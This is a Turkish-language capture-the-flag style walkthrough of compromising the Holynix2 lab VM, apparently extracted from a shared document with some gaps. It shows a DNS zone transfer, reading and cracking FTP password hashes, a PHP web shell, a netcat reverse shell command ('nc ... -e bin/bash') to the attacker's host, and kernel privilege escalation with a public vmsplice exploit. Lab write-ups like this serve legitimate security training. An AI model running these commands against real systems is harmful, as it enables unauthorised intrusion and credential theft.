Professional Documents
Culture Documents
ping atma:
root@kali:~# nmap -sn -n 192.168.133.0/24
ping'in sonucunda başka bir makine gözükmemesinin sebebi vmnet1 ağındaki saldırganın farklı
subnette olması. IP adresi değiştirilerek sorun çözülebilir:
şimdi nmap ile ping scan yapılarak holynix'in ip adresinden emin olunabilir:
root@kali:~# nmap -sn -n 192.168.1.0/24
TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.1.88
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.06 seconds
Nmap taraması sonucunda tcp 80 port'unun açık ve apache'nin çalışıyor olduğu bilgisinden yola
çıkarak web sayfası görüntülenir:
web tarayıcı -> http://192.168.1.88/
Welcome to www.zincftp.com
Our nameservers are located at ns1.zincftp.com & ns2.zincftp.com
To access your web directory navigate to http://username.zincftp.com
Domain adı, name server'ların adresleri ve kullanıcılar için nasıl web dizini oluşturulduğu öğrenilir.
Bunun dışında kullanıcı adı ve email ile kullanıcı girişi yapılabildiği web sayfası içeriğinden
anlaşılır. Eğer name server'lardan biri ile zone transfer gerçekleştirilirse, o server'a kayıtlı olan
bütün domain adları ve ip adresleri öğrenilebilir.
;; QUESTION SECTION:
;zincftp.com. IN ANY
;; ANSWER SECTION:
zincftp.com. 38400 IN SOA ns1.zincftp.com. ns2.zincftp.com. 2006071801 28800
3600 604800 38400
zincftp.com. 38400 IN NS ns2.zincftp.com.
zincftp.com. 38400 IN NS ns1.zincftp.com.
zincftp.com. 38400 IN MX 10 mta.zincftp.com.
zincftp.com. 38400 IN A 192.168.1.88
;; ADDITIONAL SECTION:
ns1.zincftp.com. 38400 IN A 192.168.1.88
ns2.zincftp.com. 38400 IN A 192.168.1.89
mta.zincftp.com. 38400 IN A 10.0.192.48
Malesef transfer gerçekleşmedi. Zaten gerçekleşmesi de beklenemezdi çünkü nmap taramasında tcp
53 kapalı gözüküyordu. Genellikle name serverlar zone transfer için tcp 53'ü birbirlerine
kapatmazlar. Diğer name server'in (ns2.zincftp.com) ip adresi (192.168.1.89) öğrenilmişti. Eğer
saldırgan ip adresini 192.168.1.89 yaparsa zone transfer gerçekleştirilebilir.
Kayıtlı olan bir çok adres öğrenildi. Bu adreslerden birinin hem ismi (trusted.zincftp.com) hem ip
adresi (192.168.1.34 ) diğerlerinden farklı. Bu domain adreslerine erişebilmek için etc/resolv.conf
dosyasını açıp dns'in 192.168.1.88 olarak değiştirilmesi gerekmektedir. Adreslere sırayla girilip işe
yarar bilgi elde edilebilir mi diye bakılır. http://ddonnovan.zincftp.com adresinde resume.txt dosyası
incelendiğinde David Donnovan'ın admin olma ve dolayısıyla daha fazla kullanıcı hakkının olma
ihtimali farkedilecektir:
Work History:
Zincftp, San Diego, CA (2008 - Present)
Network Specialist
Tasks:
Certifications:
DirBuster aracı kullanılarak yaygın olarak kullanılan dizin ve dosya isimlerinin web server'da olup
olmadığı öğrenilebilir. http://192.168.1.88:80/ adresine dirBuster'ın kendi wordlistlerinden biri ile
(/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt) bruteforce yapıldığında
phpMyAdmin, server-status ve setup-guides isimli dizinlerin olduğu ama erişim hakkının
olmadığı tespit edilir. (response olarak 403 dönüyor.) Zone transfer yapıldığında dikkat çeken
trusted.zincftp.com adresinin ipsi alınarak denemek işe yarayabilir:
<!--
Adding new users to the system
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
create user
useradd -g ftp_users -s /bin/false -d /home/<username> -m <username>
id user email
1 shanover shaun_hanover@gmail.com
2 lbauimann lucasb@aol.com
Sonra aşağıdaki sql sorgusu çalıştırılarak ftp şifrelerinin bulunduğu dosya sifreler tablosuna
yüklenir:
LOAD DATA LOCAL INFILE '/etc/pure-ftpd/pureftpd.passwd' INTO TABLE sifreler
cmahong:$1$vUW5q3t0$9RZSkReNoWGCaPtL7ixLX0:1031:2002::/home/cmahong/./::::::::::::
jstreet:$1$sBGmOuB0$TPHx0jBSFjtJu7dJXb4Nw/:1031:2002::/home/jstreet/./::::::::::::
Özetlerin yer aldığı dosya sifreozetleri ismiyle kaydedildi. Wordlist olarak ise rockyou şifrelerinde
en çok kullanılan elli bin sözcük kullanıldı. Bu wordlist aşağıdaki linkten indirilebilir:
http://contest-2010.korelogic.com/wordlists/RockYou-MostPopular50000PassesLetters.dic
Daha kapsamlı bir wordlist ile daha iyi sonuç alınabilirdi. Örneğin rockyou wordlistinin tamamı ya
da https://crackstation.net adresinden indirilebilen bir buçuk milyar kelimelik wordlist. Ancak
büyük wordlistler daha çok zaman alacağından ve saldırgana sadece bir kullanıcının şifresi
yettiğinden gerek yoktu.
Şifresi elde edilen Tmartin kullanıcısıyla ftp bağlantısı gerçekleştirilir:
tmartin kullanıcısının web dizinene shell atılarak uzaktan erişim sağlanabilir. İnternetten indirilebilir
bir çok reverse shell bulunabilir. Saldırgan aşağıdaki kodu shell.php isimli bir dosyaya kaydedip
kullanıcının web dizinine yükledikten sonra, Netcat yardımıyla reverse shell oluşturabilir:
ftp> ls
200 PORT command successful
150 Connecting to port 50781
-rw-r--r-- 1 1031 2002 36 Aug 21 16:08 shell.php
226-Options: -l
226 1 matches total
web tarayıcı ile shell.php görüntülenebilir. Çalıştırılmak istenen komutlar aşağıdaki gibi
girilmelidir. Çalıştırılmak istenen komut: nc 192.168.1.34 1234 -e bin/bash
Web tarayıcı -> http://tmartin.zincftp.com/shell.php?komut=nc 192.168.1.34 1234 -e bin/bash
192.168.1.88: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.34] from (UNKNOWN) [192.168.1.88] 60171
Bağlantı sağlandı. Python komut çıklarının daha düzgün görünmesi için yardımcı olabilir:
python -c "import pty;pty.spawn('/bin/bash')"
Linux versiyonu internette aratıldığında ilgili zayıflık ve istismar kodu bulunabilir (Local root
exploit in kernel 2.6.17 - 2.6.24 vmsplice) :
https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/190587
http://www.exploit-db.com/exploits/5092/
İstismar kodu ilgili linkten indirilir ya da kali gibi bir dağıtım kullanılıyorsa exploitdb dizininde
bulunabilir. Aşağıdaki kod ile istismar kodunun bilgisayarda olup olmadığı tespit edilir:
Saldırgan, bulunan istismar kodunu root dizinine kopyaladıktan sonra ftp ile kurban sisteme upload
eder:
root@kali:/# cd /usr/share/exploitdb/platforms/linux/local
root@kali:/usr/share/exploitdb/platforms/linux/local# cp 5092.c /root
ftp> put 5092.c
local: 5092.c remote: 5092.c
200 PORT command successful
150 Connecting to port 54513
226-File successfully transferred
226 0.004 seconds (measured here), 1.69 Mbytes per second
6293 bytes sent in 0.00 secs (2719.3 kB/s)
ftp> ls
200 PORT command successful
150 Connecting to port 46267
-rw-r--r-- 1 1031 2002 6293 Aug 21 16:31 5092.c
-rw-r--r-- 1 1031 2002 36 Aug 21 16:08 shell.php
226-Options: -l
226 2 matches total
Görüldüğü gibi sisteme yerel istismar kodu yüklendi ancak dosya izinlerine bakıldığında gcc ile
derlenemeyeceği anlaşılıyor. Bundan dolayı dosya tmp dizinine kopyalanır ve derlenir.
Derlemek için:
www-data@holynix2:/tmp$ gcc 5092.c -o 5092
gcc 5092.c -o 5092
root@holynix2:/tmp# id
id
uid=0(root) gid=0(root) groups=33(www-data)